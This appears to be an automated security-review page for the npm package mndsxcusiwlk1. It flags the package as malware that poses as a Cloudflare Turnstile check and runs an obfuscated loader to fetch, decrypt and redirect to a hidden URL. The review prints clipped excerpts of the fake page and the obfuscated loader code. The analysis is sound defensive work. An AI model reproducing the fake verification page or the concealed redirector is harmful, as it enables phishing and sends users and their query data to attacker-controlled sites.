registry / mndsxcusiwlk1 / 1.0.0

mndsxcusiwlk1@1.0.0

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Opening the HTML and completing or failing the displayed Turnstile callback activates an obfuscated remote redirector. It obtains a server response, decrypts a destination URL, carries over current query parameters, and redirects the browser.

Static reason

One or more suspicious static signals were detected.

Trigger

Open index.html and invoke the Turnstile completion/error/timeout callback.

Impact

Can route users and query-string data to attacker-controlled destinations after a misleading security-verification page.

Mechanism

Obfuscated remote URL retrieval, AES decryption, and browser redirect.

Attack narrative

The package presents a fake Cloudflare-style verification page. Its callback runs a heavily obfuscated loader that POSTs an embedded key to a concealed endpoint, decodes and decrypts the response into a URL, appends the current page parameters, and redirects the browser. The actual destination is withheld until runtime, making it a staged phishing or traffic-redirection chain.

Rationale

This is concrete concealed browser redirection behavior, not a package-aligned web component. No npm lifecycle hook is required because the declared main artifact is the malicious HTML page.

Evidence

package.jsonindex.html

Network endpoints1

challenges.cloudflare.com/turnstile/v0/api.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

index.html hides a remote loader behind dense obfuscation.
Turnstile completion invokes the loader, including error/timeout paths.
The loader POSTs a constructed key, decrypts the response into a URL, preserves query parameters, and redirects the page.

Evidence against

package.json declares no lifecycle scripts.
No local filesystem access, child-process execution, or credential harvesting is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedPossibleObfuscation

Manifest

NoLicense

scanned 1 file(s), 32.8 KB of source

Source & flagged code

7 flagged

index.htmlView file

Lines 206-231html

206 Performance and Security by

207 <a rel="noopener noreferrer" href="https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a>

208 </span>

209 <span class="footer-divider"></span>

210 <a id="privacy-link" target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a>

211 </div>

212 </div>

213 </div>

214</div>

215<script>

216 (function () {

217 function generateRayId() {

218 const chars = '0123456789abcdef';

219 let result = '';

220 for (let i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];

221 return result;

222 }

223 document.getElementById('dynamic-ray-id').textContent = generateRayId();

224 })();

225

226 function onTurnstileComplete(token) {

High

Ai Review Evidence

Turnstile completion invokes the loader, including error/timeout paths.

index.htmlView on unpkg · L226

227 function _0x1f0c(_0x351def,_0x4c19dc){_0x351def=_0x351def-(0x7a*0xe+0x603+-0xbce);const _0x2ee7a4=_0x2caf();let _0x3af54c=_0x2ee7a4[_0x351def];if(_0x1f0c['kMAUoj']===undefined){var _0x3241ac=function(_0xa258a2){const _0x36a3cb='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x515c80='',_0x4f22ac='',_0x3eb74a=_0x515c80+_0x3241ac,_0xc7bbb9=(''+function(){return-0x2344+0x10b0+0x1294;})['indexOf']('\x0a')!==-(-0x26f0+-0x1*-0x1d69+0x4*0x262);for(let _0x5c9066=0xa*0x281+0x13c3+0x3*-0xeef,_0x3e1649,_0x230378,_0x570aa5=0x1367+0x18eb*0x1+0x763*-0x6;_0x230378=_0xa258a2[' ...

High

Ai Review Evidence

index.html hides a remote loader behind dense obfuscation.

index.htmlView on unpkg · L227

High

Ai Review Evidence

The loader POSTs a constructed key, decrypts the response into a URL, preserves query parameters, and redirects the page.

index.htmlView on unpkg · L227

High

Ai Review Evidence

The loader POSTs a constructed key, decrypts the response into a URL, preserves query parameters, and redirects the page.

index.htmlView on unpkg · L227

High

Ai Review Evidence

The loader POSTs a constructed key, decrypts the response into a URL, preserves query parameters, and redirects the page.

index.htmlView on unpkg · L227

228 }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

229</script>

230</body>

231</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

Source & flagged code

7 flagged · loading source

index.htmlView file

226function onTurnstileComplete(token) { L227: function _0x1f0c(_0x351def,_0x4c19dc){_0x351def=_0x351def-(0x7a*0xe+0x603+-0xbce);const _0x2ee7a4=_0x2caf();let _0x3af54c=_0x2ee7a4[_0x351def];if(_0x1f0c['kMAUoj']===undefined){var... L228: }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

227const hostKey='8raU8rWUFk'+

High

Ai Review Evidence

index.html hides a remote loader behind dense obfuscation.

index.htmlView on unpkg · L227

226function onTurnstileComplete(token) {

Findings

7 High1 Medium2 Low

HighObfuscated Payload Loaderindex.html

HighSemantic Analysis Limitedindex.html

HighAi Review Evidenceindex.html

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowNo License